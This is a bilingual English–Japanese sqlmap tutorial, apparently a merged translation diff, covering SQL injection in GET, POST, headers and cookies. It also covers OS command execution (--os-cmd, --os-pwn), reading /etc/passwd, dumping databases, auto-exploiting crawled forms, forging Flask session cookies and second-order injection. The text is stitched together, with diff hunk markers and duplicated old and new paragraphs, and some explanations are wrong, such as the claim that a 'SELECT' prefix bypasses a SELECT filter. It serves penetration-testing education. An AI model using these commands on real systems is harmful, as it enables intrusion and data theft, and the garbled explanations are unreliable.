By using SQLMap, we can automate the process of identifying and exploiting SQL injection vulnerabilities in GET requests, making it easier to test the security of web applications.
|
||||
|
||||
Sqlmapは自動的にURLを分析し、脆弱なパラメータを特定し、悪意のあるSQLクエリを注入してSQLインジェクションの脆弱性を悪用しようとします。
|
||||
|
||||
By using sqlmap, we can easily automate the process of identifying and exploiting SQL injection vulnerabilities in GET requests, saving time and effort during penetration testing.
|
||||
|
||||
sqlmapを使用することで、GETリクエストのSQLインジェクションの脆弱性を特定し、悪用するプロセスを簡単に自動化することができます。これにより、ペネトレーションテスト中の時間と労力を節約することができます。
|
||||
SQLMapを使用することで、GETリクエストのSQLインジェクションの脆弱性を特定し、悪用するプロセスを自動化することができます。これにより、Webアプリケーションのセキュリティをテストする作業が容易になります。
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### POSTリクエストのインジェクション
|
||||
|
||||
In some cases, the target application may use POST requests to send data to the server. SQL injection can also be performed on these POST requests. SQLMap provides options to test and exploit SQL injection vulnerabilities in POST requests.
|
||||
In this section, we will discuss how to perform SQL injection attacks on POST requests using sqlmap.
|
||||
|
||||
いくつかの場合、対象のアプリケーションはデータをサーバーに送信するためにPOSTリクエストを使用する場合があります。これらのPOSTリクエストでもSQLインジェクションを実行することができます。SQLMapはPOSTリクエスト内のSQLインジェクションの脆弱性をテストおよび攻撃するためのオプションを提供しています。
|
||||
このセクションでは、sqlmapを使用してPOSTリクエストに対してSQLインジェクション攻撃を行う方法について説明します。
|
||||
|
||||
To perform SQL injection on a POST request, you need to provide the target URL, the POST data, and the vulnerable parameter. The POST data can be provided in various formats, such as URL-encoded or JSON. SQLMap supports different formats and can automatically detect and handle them.
|
||||
#### Step 1: Capture the POST Request
|
||||
|
||||
POSTリクエストでSQLインジェクションを実行するには、対象のURL、POSTデータ、および脆弱なパラメータを指定する必要があります。POSTデータは、URLエンコードやJSONなど、さまざまな形式で提供することができます。SQLMapはさまざまな形式をサポートし、自動的に検出および処理することができます。
|
||||
#### ステップ1:POSTリクエストのキャプチャ
|
||||
|
||||
To specify the POST data, you can use the `--data` option followed by the POST data in the required format. For example:
|
||||
To begin, we need to capture the POST request that we want to inject. This can be done using various tools such as Burp Suite, OWASP ZAP, or even browser developer tools.
|
||||
|
||||
POSTデータを指定するには、必要な形式でのPOSTデータの後に`--data`オプションを使用します。例えば:
|
||||
まず、インジェクションしたいPOSTリクエストをキャプチャする必要があります。これは、Burp Suite、OWASP ZAPなどのさまざまなツール、またはブラウザの開発者ツールを使用して行うことができます。
|
||||
|
||||
#### Step 2: Save the Request to a File
|
||||
|
||||
#### ステップ2:リクエストをファイルに保存
|
||||
|
||||
Once we have captured the POST request, we need to save it to a file. This can be done by exporting the request from the capturing tool or by copying the request from the browser developer tools and saving it to a file.
|
||||
|
||||
POSTリクエストをキャプチャしたら、それをファイルに保存する必要があります。これは、キャプチャツールからリクエストをエクスポートするか、ブラウザの開発者ツールからリクエストをコピーしてファイルに保存することで行うことができます。
|
||||
|
||||
#### Step 3: Use sqlmap to Perform the Injection
|
||||
|
||||
#### ステップ3:sqlmapを使用してインジェクションを実行
|
||||
|
||||
Now that we have the POST request saved to a file, we can use sqlmap to perform the injection. The command to do this is as follows:
|
||||
|
||||
POSTリクエストをファイルに保存したので、sqlmapを使用してインジェクションを実行することができます。そのためのコマンドは以下の通りです。
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/login" --data "username=admin&password=pass123"
|
||||
sqlmap -r <request_file> --level=<level> --risk=<risk>
|
||||
```
|
||||
|
||||
You also need to specify the vulnerable parameter using the `--data` option. For example, if the vulnerable parameter is `username`, you can use:
|
||||
Replace `<request_file>` with the path to the file containing the POST request. The `--level` and `--risk` options specify the level of tests to perform and the risk level of the injection, respectively.
|
||||
|
||||
また、`--data`オプションを使用して脆弱なパラメータを指定する必要があります。例えば、脆弱なパラメータが`username`の場合、次のように使用できます:
|
||||
`<request_file>`をPOSTリクエストを含むファイルのパスに置き換えます。`--level`と`--risk`オプションは、それぞれ実行するテストのレベルとインジェクションのリスクレベルを指定します。
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/login" --data "username=admin&password=pass123" --param="username"
|
||||
```
|
||||
#### Step 4: Analyze the Results
|
||||
|
||||
SQLMap will then analyze the POST request and attempt to exploit any SQL injection vulnerabilities in the specified parameter.
|
||||
#### ステップ4:結果の分析
|
||||
|
||||
その後、SQLMapはPOSTリクエストを分析し、指定されたパラメータ内のSQLインジェクションの脆弱性を攻撃しようとします。
|
||||
After running the sqlmap command, it will perform various tests to identify if the POST request is vulnerable to SQL injection. It will then provide a detailed report of its findings, including any potential vulnerabilities found.
|
||||
|
||||
sqlmapコマンドを実行すると、POSTリクエストがSQLインジェクションの脆弱性を持つかどうかを特定するためにさまざまなテストが実行されます。その後、潜在的な脆弱性を含む詳細なレポートが提供されます。
|
||||
|
||||
By following these steps, you can effectively perform SQL injection attacks on POST requests using sqlmap. Remember to always perform these attacks on systems that you have permission to test and never use these techniques for malicious purposes.
|
||||
|
||||
これらのステップに従うことで、sqlmapを使用してPOSTリクエストに対して効果的なSQLインジェクション攻撃を実行することができます。常にテストの許可を得たシステムでこれらの攻撃を実行し、悪意のある目的でこれらの技術を使用しないように注意してください。
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
### ヘッダーとその他のHTTPメソッドにおけるインジェクション
|
||||
|
||||
In this section, we will explore how to perform SQL injections in headers and other HTTP methods using SQLMap. SQL injections in headers and other HTTP methods can be used to exploit vulnerabilities in web applications and gain unauthorized access to sensitive information.
|
||||
In some cases, web applications may use headers or other HTTP methods to transmit data. These can also be vulnerable to injection attacks. SQLMap provides options to test for injections in headers and other HTTP methods.
|
||||
|
||||
このセクションでは、SQLMapを使用してヘッダーやその他のHTTPメソッドでSQLインジェクションを実行する方法について説明します。ヘッダーやその他のHTTPメソッドにおけるSQLインジェクションは、ウェブアプリケーションの脆弱性を悪用し、機密情報への不正アクセスを行うために使用されることがあります。
|
||||
いくつかの場合、Webアプリケーションはデータを送信するためにヘッダーやその他のHTTPメソッドを使用することがあります。これらもインジェクション攻撃の脆弱性にさらされる可能性があります。SQLMapは、ヘッダーやその他のHTTPメソッドにおけるインジェクションをテストするためのオプションを提供しています。
|
||||
|
||||
#### SQL Injection in Headers
|
||||
To test for injections in headers, you can use the `--headers` option followed by the headers you want to test. For example:
|
||||
|
||||
##### User-Agent Header
|
||||
|
||||
The User-Agent header is commonly used by web browsers to identify themselves to web servers. However, this header can also be manipulated to perform SQL injections. SQLMap provides the `--headers` option to specify custom headers for the HTTP request.
|
||||
|
||||
To perform a SQL injection in the User-Agent header, you can use the following command:
|
||||
ヘッダーにおけるインジェクションをテストするには、`--headers`オプションを使用し、テストしたいヘッダーを指定します。例えば:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --headers="User-Agent: <SQL_PAYLOAD>"
|
||||
sqlmap -u http://example.com --headers="User-Agent: Mozilla/5.0" --headers="Referer: http://example.com"
|
||||
```
|
||||
|
||||
Replace `<URL>` with the target URL and `<SQL_PAYLOAD>` with the SQL injection payload you want to test.
|
||||
You can also test for injections in other HTTP methods such as `POST`, `PUT`, `DELETE`, etc. To do this, you can use the `--method` option followed by the desired HTTP method. For example:
|
||||
|
||||
#### ヘッダーにおけるSQLインジェクション
|
||||
|
||||
##### User-Agentヘッダー
|
||||
|
||||
User-Agentヘッダーは、ウェブブラウザが自身をウェブサーバーに識別するために一般的に使用されます。しかし、このヘッダーはSQLインジェクションを実行するためにも操作することができます。SQLMapは、HTTPリクエストのためのカスタムヘッダーを指定するための`--headers`オプションを提供しています。
|
||||
|
||||
User-AgentヘッダーでSQLインジェクションを実行するには、次のコマンドを使用します:
|
||||
`POST`、`PUT`、`DELETE`など、他のHTTPメソッドにおけるインジェクションもテストすることができます。これを行うには、`--method`オプションを使用し、希望するHTTPメソッドを指定します。例えば:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --headers="User-Agent: <SQL_PAYLOAD>"
|
||||
sqlmap -u http://example.com --method=POST
|
||||
```
|
||||
|
||||
`<URL>`を対象のURLで置き換え、`<SQL_PAYLOAD>`をテストしたいSQLインジェクションペイロードで置き換えてください。
|
||||
By testing for injections in headers and other HTTP methods, you can identify and exploit vulnerabilities in these areas, allowing you to gain unauthorized access or perform other malicious activities.
|
||||
|
||||
##### Other Headers
|
||||
|
||||
In addition to the User-Agent header, there are other headers that can be vulnerable to SQL injections, such as Referer, Cookie, and X-Forwarded-For. You can use the same `--headers` option to specify these headers and perform SQL injections.
|
||||
|
||||
For example, to perform a SQL injection in the Referer header, you can use the following command:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --headers="Referer: <SQL_PAYLOAD>"
|
||||
```
|
||||
|
||||
Replace `<URL>` with the target URL and `<SQL_PAYLOAD>` with the SQL injection payload you want to test.
|
||||
|
||||
##### その他のヘッダー
|
||||
|
||||
User-Agentヘッダーに加えて、Referer、Cookie、およびX-Forwarded-Forなど、SQLインジェクションの脆弱性がある可能性のある他のヘッダーも存在します。これらのヘッダーを指定し、SQLインジェクションを実行するためには、同じ`--headers`オプションを使用することができます。
|
||||
|
||||
たとえば、RefererヘッダーでSQLインジェクションを実行するには、次のコマンドを使用します:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --headers="Referer: <SQL_PAYLOAD>"
|
||||
```
|
||||
|
||||
`<URL>`を対象のURLで置き換え、`<SQL_PAYLOAD>`をテストしたいSQLインジェクションペイロードで置き換えてください。
|
||||
|
||||
#### SQL Injection in Other HTTP Methods
|
||||
|
||||
In addition to the GET and POST methods, there are other HTTP methods that can be vulnerable to SQL injections, such as PUT, DELETE, and OPTIONS. SQLMap provides the `--method` option to specify the HTTP method for the request.
|
||||
|
||||
To perform a SQL injection in a specific HTTP method, you can use the following command:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --method=<HTTP_METHOD> --data="<POST_DATA>"
|
||||
```
|
||||
|
||||
Replace `<URL>` with the target URL, `<HTTP_METHOD>` with the desired HTTP method, and `<POST_DATA>` with the POST data containing the SQL injection payload.
|
||||
|
||||
#### その他のHTTPメソッドにおけるSQLインジェクション
|
||||
|
||||
GETおよびPOSTメソッドに加えて、PUT、DELETE、OPTIONSなど、他のHTTPメソッドもSQLインジェクションの脆弱性がある可能性があります。SQLMapは、リクエストのためのHTTPメソッドを指定するための`--method`オプションを提供しています。
|
||||
|
||||
特定のHTTPメソッドでSQLインジェクションを実行するには、次のコマンドを使用します:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --method=<HTTP_METHOD> --data="<POST_DATA>"
|
||||
```
|
||||
|
||||
`<URL>`を対象のURLで置き換え、`<HTTP_METHOD>`を希望するHTTPメソッドで置き換え、`<POST_DATA>`をSQLインジェクションペイロードを含むPOSTデータで置き換えてください。
|
||||
ヘッダーやその他のHTTPメソッドにおけるインジェクションをテストすることで、これらの領域の脆弱性を特定し、不正なアクセスを行ったり、他の悪意のある活動を行ったりすることができます。
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
|
@ -236,27 +198,37 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### SQLインジェクションが成功した場合に文字列を示す
|
||||
|
||||
When SQL injection is successful, SQLMap will indicate it by displaying a specific string. This string is known as the "injection string" and is used to confirm that the vulnerability has been successfully exploited. By default, SQLMap uses the string "sqlmapidentified" as the injection string. However, you can customize this string by using the `--string` option followed by the desired string. For example:
|
||||
When SQL injection is successful, the tool will indicate it by displaying a specific string in the output. This string can be customized using the `--string` option followed by the desired string value. By default, the tool uses the string "sqlmap".
|
||||
|
||||
```
|
||||
$ sqlmap -u http://example.com/index.php?id=1 --string="injected"
|
||||
```
|
||||
|
||||
In this example, SQLMap will use the string "injected" as the injection string. If the injection is successful, SQLMap will search for this string in the response and confirm the vulnerability.
|
||||
|
||||
It is important to note that the injection string should be unique and not present in the normal response of the application. Otherwise, false positives may occur. Additionally, the injection string should not contain any special characters that could interfere with the SQL injection payload.
|
||||
成功したSQLインジェクションは、ツールが出力に特定の文字列を表示することで示されます。この文字列は、`--string`オプションに続けて任意の文字列値を指定することでカスタマイズできます。デフォルトでは、ツールは文字列「sqlmap」を使用します。
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap**は、各ペイロードを送信する前に、いくつかのPythonワンライナーでペイロードを処理するために`-e`または`--eval`の使用を許可します。これにより、ペイロードを送信する前に、カスタムな方法でペイロードを簡単かつ高速に処理することができます。次の例では、**flask cookie session**は、送信する前にflaskによって既知の秘密で署名されます。
|
||||
**Sqlmap**では、各ペイロードを送信する前に、いくつかのPythonワンライナーでペイロードを処理するために`-e`または`--eval`を使用することができます。これにより、ペイロードを送信する前に、カスタムな方法でペイロードを簡単かつ高速に処理することができます。次の例では、**flask cookie session**は、送信する前にflaskによって既知の秘密で署名されます。
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### シェル
|
||||
|
||||
A shell is a command-line interface that allows users to interact with the operating system. It provides a way to execute commands, run scripts, and manage files and directories. In the context of hacking, a shell can be used to gain unauthorized access to a target system and execute commands remotely. This can be achieved through various techniques, such as exploiting vulnerabilities, using backdoors, or leveraging SQL injection attacks. Once a shell is obtained, the attacker has full control over the target system and can perform malicious activities. It is important for security professionals to understand how shells work in order to defend against them and mitigate the risks they pose.
|
||||
The `shell` command allows you to execute arbitrary commands on the target system. It is useful for gaining remote access and performing various actions on the compromised system.
|
||||
|
||||
To use the `shell` command, you need to have a successful SQL injection vulnerability and be able to execute SQL queries. Once you have identified a vulnerable parameter, you can use the `--sql-shell` option to launch an interactive shell.
|
||||
|
||||
```bash
|
||||
$ sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-shell
|
||||
```
|
||||
|
||||
This will open a shell prompt where you can enter commands to be executed on the target system. Keep in mind that the commands will be executed with the privileges of the database user, so you may have limited access to the system.
|
||||
|
||||
```bash
|
||||
sqlmap> shell
|
||||
```
|
||||
|
||||
Once you have access to the shell, you can perform various actions such as uploading and downloading files, executing system commands, and even pivoting to other systems on the network.
|
||||
|
||||
It is important to note that using the `shell` command can be risky, as it can potentially expose your identity and activities. Therefore, it is recommended to use it cautiously and only in controlled environments.
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
|
@ -269,41 +241,81 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
```
|
||||
### ファイルの読み取り
|
||||
|
||||
`sqlmap`は、SQLインジェクションの脆弱性を検出し、悪用するための強力なツールです。このツールを使用すると、データベースからファイルを読み取ることができます。
|
||||
|
||||
以下のコマンドを使用して、`sqlmap`を使用してファイルを読み取ることができます。
|
||||
このオプションを使用すると、SQLインジェクションの脆弱性を利用してデータベースからファイルを読み取ることができます。`--file-read`オプションを使用して、読み取りたいファイルのパスを指定します。
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://example.com/vulnerable.php?id=1" --file-read="/var/www/html/config.php"
|
||||
sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
|
||||
```
|
||||
|
||||
上記のコマンドでは、`http://example.com/vulnerable.php?id=1`というURLに対してSQLインジェクションを実行し、`/var/www/html/config.php`というファイルを読み取ります。
|
||||
このコマンドは、指定したURLの`id`パラメータにSQLインジェクションの脆弱性があるかどうかを検査し、脆弱性がある場合には`/etc/passwd`ファイルを読み取ります。
|
||||
|
||||
`--file-read`オプションを使用することで、`sqlmap`は指定したパスのファイルを読み取ることができます。このオプションを使用する際には、読み取りたいファイルのパスを正確に指定する必要があります。
|
||||
ファイルの読み取りは、データベースのバックエンドシステムにアクセスするための情報を取得するために使用されることがあります。この情報を利用すると、攻撃者はシステムに対する特権を取得したり、他の攻撃を実行したりすることができます。
|
||||
|
||||
ファイルの読み取りに成功すると、`sqlmap`はファイルの内容を表示します。この情報を利用して、システムに関する重要な情報を取得することができます。ただし、この操作は合法的なテストや許可を得た場合にのみ実行してください。
|
||||
ファイルの読み取りは、慎重に行う必要があります。適切な権限を持たないファイルにアクセスしようとすると、エラーが発生する可能性があります。また、不正な目的で使用することは違法ですので、法律に違反しないように注意してください。
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする
|
||||
|
||||
SQLmap is a powerful tool for automating SQL injection attacks. It can be used to crawl a website and automatically exploit any SQL injection vulnerabilities it finds. This can save a lot of time and effort compared to manually testing each parameter for SQL injection.
|
||||
SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this guide, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found.
|
||||
|
||||
To crawl a website with SQLmap, you can use the following command:
|
||||
SQLmapは、ウェブアプリケーションのSQLインジェクション脆弱性を検出し、エクスプロイトするプロセスを自動化する強力なツールです。このガイドでは、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクション脆弱性を自動的にエクスプロイトする方法を学びます。
|
||||
|
||||
#### Step 1: Crawl the website
|
||||
|
||||
#### ステップ1:ウェブサイトをクロールする
|
||||
|
||||
The first step is to crawl the website using SQLmap. This will allow SQLmap to discover all the available pages and parameters that can be tested for SQL injection vulnerabilities.
|
||||
|
||||
最初のステップは、SQLmapを使用してウェブサイトをクロールすることです。これにより、SQLmapはSQLインジェクションの脆弱性をテストすることができるすべての利用可能なページとパラメータを発見することができます。
|
||||
|
||||
To crawl a website, use the following command:
|
||||
|
||||
ウェブサイトをクロールするには、次のコマンドを使用します:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --crawl=<depth>
|
||||
sqlmap -u <target_url> --crawl=3
|
||||
```
|
||||
|
||||
Replace `<URL>` with the target website's URL and `<depth>` with the number of levels deep you want SQLmap to crawl. The tool will automatically discover and test parameters for SQL injection vulnerabilities.
|
||||
Replace `<target_url>` with the URL of the website you want to crawl. The `--crawl=3` option specifies the depth of the crawl, where `3` indicates that SQLmap should follow links up to three levels deep.
|
||||
|
||||
By default, SQLmap will use a technique called "Boolean-based blind" to exploit SQL injection vulnerabilities. This technique involves sending specially crafted SQL queries to the target website and analyzing the responses to determine if the vulnerability exists.
|
||||
`<target_url>`をクロールしたいウェブサイトのURLで置き換えてください。`--crawl=3`オプションは、クロールの深さを指定します。`3`は、SQLmapがリンクを3つのレベルまでたどることを示しています。
|
||||
|
||||
SQLmap also supports other exploitation techniques, such as "Time-based blind" and "Error-based," which can be specified using the `--technique` option.
|
||||
#### Step 2: Identify SQL injection vulnerabilities
|
||||
|
||||
It's important to note that SQLmap should only be used on websites that you have permission to test. Unauthorized use of SQLmap or any other hacking tool is illegal and unethical.
|
||||
#### ステップ2:SQLインジェクションの脆弱性を特定する
|
||||
|
||||
Remember to always obtain proper authorization and follow ethical guidelines when conducting penetration testing or any other security assessments.
|
||||
Once the website has been crawled, SQLmap will analyze the discovered pages and parameters to identify potential SQL injection vulnerabilities. To do this, use the following command:
|
||||
|
||||
ウェブサイトがクロールされたら、SQLmapは発見されたページとパラメータを分析し、潜在的なSQLインジェクションの脆弱性を特定します。これを行うには、次のコマンドを使用します:
|
||||
|
||||
```
|
||||
sqlmap -u <target_url> --crawl=3 --batch --forms --risk=3 --level=5
|
||||
```
|
||||
|
||||
Replace `<target_url>` with the URL of the website you want to test. The `--batch` option is used to automatically exploit any identified vulnerabilities without user interaction. The `--forms` option tells SQLmap to test form-based SQL injection vulnerabilities. The `--risk=3` and `--level=5` options increase the aggressiveness of the tests, increasing the chances of finding vulnerabilities.
|
||||
|
||||
`<target_url>`をテストしたいウェブサイトのURLで置き換えてください。`--batch`オプションは、ユーザーの干渉なしに特定された脆弱性を自動的にエクスプロイトするために使用されます。`--forms`オプションは、フォームベースのSQLインジェクションの脆弱性をテストするようにSQLmapに指示します。`--risk=3`および`--level=5`オプションは、テストの攻撃性を高め、脆弱性を見つける可能性を高めます。
|
||||
|
||||
#### Step 3: Exploit SQL injection vulnerabilities
|
||||
|
||||
#### ステップ3:SQLインジェクションの脆弱性をエクスプロイトする
|
||||
|
||||
After identifying the SQL injection vulnerabilities, SQLmap can automatically exploit them to retrieve sensitive information from the database. To exploit the vulnerabilities, use the following command:
|
||||
|
||||
SQLインジェクションの脆弱性が特定された後、SQLmapはそれらを自動的にエクスプロイトしてデータベースから機密情報を取得することができます。脆弱性をエクスプロイトするには、次のコマンドを使用します:
|
||||
|
||||
```
|
||||
sqlmap -u <target_url> --crawl=3 --batch --forms --risk=3 --level=5 --dump
|
||||
```
|
||||
|
||||
Replace `<target_url>` with the URL of the website you want to exploit. The `--dump` option tells SQLmap to dump the contents of the database tables once a successful SQL injection is found.
|
||||
|
||||
`<target_url>`をエクスプロイトしたいウェブサイトのURLで置き換えてください。`--dump`オプションは、成功したSQLインジェクションが見つかった場合にデータベーステーブルの内容をダンプするようにSQLmapに指示します.
|
||||
|
||||
By following these steps, you can use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found. However, it is important to note that hacking into websites without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before conducting any security testing or penetration testing activities.
|
||||
|
||||
これらの手順に従うことで、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクションの脆弱性を自動的にエクスプロイトすることができます。ただし、正当な権限なしにウェブサイトに侵入することは違法かつ倫理に反します。セキュリティテストやペネトレーションテストの活動を行う前に、必要な許可と法的権利を持っていることを常に確認してください。
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -313,31 +325,28 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
```
|
||||
### セカンドオーダーインジェクション
|
||||
|
||||
Second Order Injection(セカンドオーダーインジェクション)は、SQLインジェクションの一種であり、攻撃者が最初のインジェクションポイントを見つけても、実際の攻撃は後続のリクエストまたは操作で行われます。これは、アプリケーションがユーザーの入力を適切に検証・エスケープしている場合に特に有効です。
|
||||
Second Order Injection(セカンドオーダーインジェクション)は、ウェブアプリケーションのセキュリティ上の脆弱性であり、ユーザーの入力がデータベースに保存され、後で別のクエリで使用される場合に発生します。この攻撃では、最初のクエリでの入力検証が不十分であるため、攻撃者は後続のクエリで悪意のあるコードを注入することができます。
|
||||
|
||||
セカンドオーダーインジェクションは、攻撃者がデータベースに対して悪意のあるクエリを実行するために、アプリケーションがユーザーの入力を保存し、後で使用する場合に発生します。攻撃者は、保存されたデータを操作して、アプリケーションが実行するクエリに悪意のあるコードを挿入します。
|
||||
セカンドオーダーインジェクションは、通常、データベース内のデータを操作するために使用されます。攻撃者は、データベース内のデータを改ざんしたり、機密情報を盗んだりすることができます。この攻撃は、ウェブアプリケーションがユーザーの入力を適切に検証していない場合に成功する可能性があります。
|
||||
|
||||
セカンドオーダーインジェクションは、アプリケーションがユーザーの入力を適切に検証・エスケープしている場合でも発生する可能性があります。攻撃者は、アプリケーションが保存するデータの形式や構造を理解し、それに基づいて攻撃を計画する必要があります。
|
||||
セカンドオーダーインジェクションを検出するためには、セキュリティテスターはウェブアプリケーションの入力検証とデータベースクエリの使用方法を詳細に調査する必要があります。また、セキュリティテスターは、セカンドオーダーインジェクションに対する適切な対策を提案することも重要です。
|
||||
|
||||
セカンドオーダーインジェクションの攻撃は、データベースの情報を漏洩させたり、データの改ざんや削除を行ったりすることができます。また、アプリケーションのセキュリティ上の脆弱性を悪用して、システムに対するアクセス権を取得することも可能です。
|
||||
|
||||
セカンドオーダーインジェクションの攻撃を防ぐためには、アプリケーションがユーザーの入力を適切に検証・エスケープすることが重要です。また、データベースへのアクセス権限を最小限に制限し、セキュリティパッチを適用することも重要です。
|
||||
セカンドオーダーインジェクションは、ウェブアプリケーションのセキュリティを脅かす重大な脆弱性です。開発者は、入力検証とエスケープ処理を適切に実装することで、この脆弱性を防ぐことができます。
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**この投稿を読む**](second-order-injection-sqlmap.md)**、sqlmapを使用して単純なおよび複雑なセカンドオーダーインジェクションを実行する方法についての情報です。**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
## 練習用のラボ
|
||||
|
||||
[**DragonJAR Security Conferenceは国際的なサイバーセキュリティイベント**](https://www.dragonjarcon.org/)で、2023年9月7日から8日までコロンビアのボゴタで開催されます。このイベントは、スペイン語で最新の研究が発表され、世界中のハッカーや研究者を惹きつける高度な技術内容のイベントです。\
|
||||
以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:
|
||||
* **THMルーム**でsqlmapを使用して学ぶ:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
{% embed url="https://tryhackme.com/room/sqlmap" %}
|
||||
|
||||
## インジェクションのカスタマイズ
|
||||
|
||||
### サフィックスの設定
|
||||
### サフィックスを設定する
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
|
@ -347,120 +356,106 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
|
||||
### Description
|
||||
|
||||
This option allows you to specify a prefix that will be added to all the injection payloads sent by SQLMap. This can be useful in scenarios where you need to bypass certain security filters or add specific SQL syntax to the payloads.
|
||||
This option allows you to specify a prefix string to be placed in front of all payloads sent by sqlmap. This can be useful in scenarios where you need to bypass certain security filters or WAFs that may be configured to block specific keywords or characters commonly used in SQL injection attacks.
|
||||
|
||||
---
|
||||
### Usage
|
||||
|
||||
### 使用法
|
||||
To specify a prefix string, use the `--prefix` option followed by the desired string. For example:
|
||||
|
||||
```
|
||||
--prefix=<PREFIX>
|
||||
--prefix="SELECT * FROM users WHERE "
|
||||
```
|
||||
|
||||
---
|
||||
This will prepend the specified prefix to all payloads sent by sqlmap.
|
||||
|
||||
### 例
|
||||
### Example
|
||||
|
||||
Let's say you are testing a web application that filters out the keyword `SELECT` in user input. By using the `--prefix` option, you can bypass this filter and successfully perform SQL injection attacks. Here's an example command:
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/page.php?id=1" --prefix="1' AND "
|
||||
sqlmap -u "http://example.com/login.php?username=test" --prefix="SELECT * FROM users WHERE "
|
||||
```
|
||||
|
||||
この例では、`--prefix`オプションを使用して、すべてのインジェクションペイロードに`1' AND `というプレフィックスを追加しています。これにより、SQLMapが送信するすべてのペイロードにこのプレフィックスが適用されます。
|
||||
In this example, sqlmap will send payloads like `SELECT * FROM users WHERE 1=1` instead of just `1=1`, effectively bypassing the filter.
|
||||
|
||||
---
|
||||
### Note
|
||||
|
||||
Keep in mind that using a prefix string may not always guarantee successful bypass of security filters or WAFs. It depends on the specific configuration and logic of the target application. It is recommended to combine this option with other techniques and evasion strategies for better results.
|
||||
```bash
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### ブールインジェクションの検出方法のヘルプ
|
||||
|
||||
If you suspect that a web application is vulnerable to SQL injection and you want to confirm it using boolean-based techniques, you can use SQLMap. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
|
||||
Boolean injection(ブールインジェクション)は、SQLインジェクションの一種であり、データベースクエリの結果を真偽値(trueまたはfalse)で制御することができます。これにより、攻撃者はデータベースからの情報を漏洩させたり、意図しない操作を実行したりすることができます。
|
||||
|
||||
もし、ウェブアプリケーションがSQLインジェクションの脆弱性を持っている可能性があり、ブールベースのテクニックを使用して確認したい場合は、SQLMapを使用することができます。SQLMapは、SQLインジェクションの脆弱性を検出し、攻撃するプロセスを自動化する強力なツールです。
|
||||
以下は、ブールインジェクションを検出するための手順です。
|
||||
|
||||
To find boolean-based SQL injection vulnerabilities using SQLMap, you can follow these steps:
|
||||
1. ページのURLまたはフォームを特定します。
|
||||
2. ページのパラメータを特定し、インジェクションポイントを見つけます。
|
||||
3. インジェクションポイントに対してブールベースのペイロードを作成します。これには、真偽値を評価するためのSQLクエリを使用します。
|
||||
4. SQLMAPを使用して、作成したペイロードを実行します。SQLMAPは、ブールベースのインジェクションを自動的に検出し、結果を解析します。
|
||||
5. 検出されたインジェクションポイントに対して追加のテストを実行し、データベースからの情報漏洩や攻撃の可能性を評価します。
|
||||
|
||||
SQLMapを使用してブールベースのSQLインジェクションの脆弱性を見つけるために、以下の手順に従うことができます。
|
||||
|
||||
1. Identify the target URL or form parameter that you suspect is vulnerable to SQL injection.
|
||||
|
||||
SQLインジェクションの脆弱性がある可能性がある対象のURLまたはフォームパラメータを特定します。
|
||||
|
||||
2. Use SQLMap to perform a GET or POST request to the target URL, injecting a boolean-based payload into the vulnerable parameter.
|
||||
|
||||
SQLMapを使用して、脆弱なパラメータにブールベースのペイロードを注入しながら、対象のURLにGETまたはPOSTリクエストを実行します。
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://example.com/vulnerable.php?id=1" --technique=B --dbms=mysql --level=5 --risk=3
|
||||
```
|
||||
|
||||
3. SQLMap will automatically analyze the response and determine if the application is vulnerable to boolean-based SQL injection.
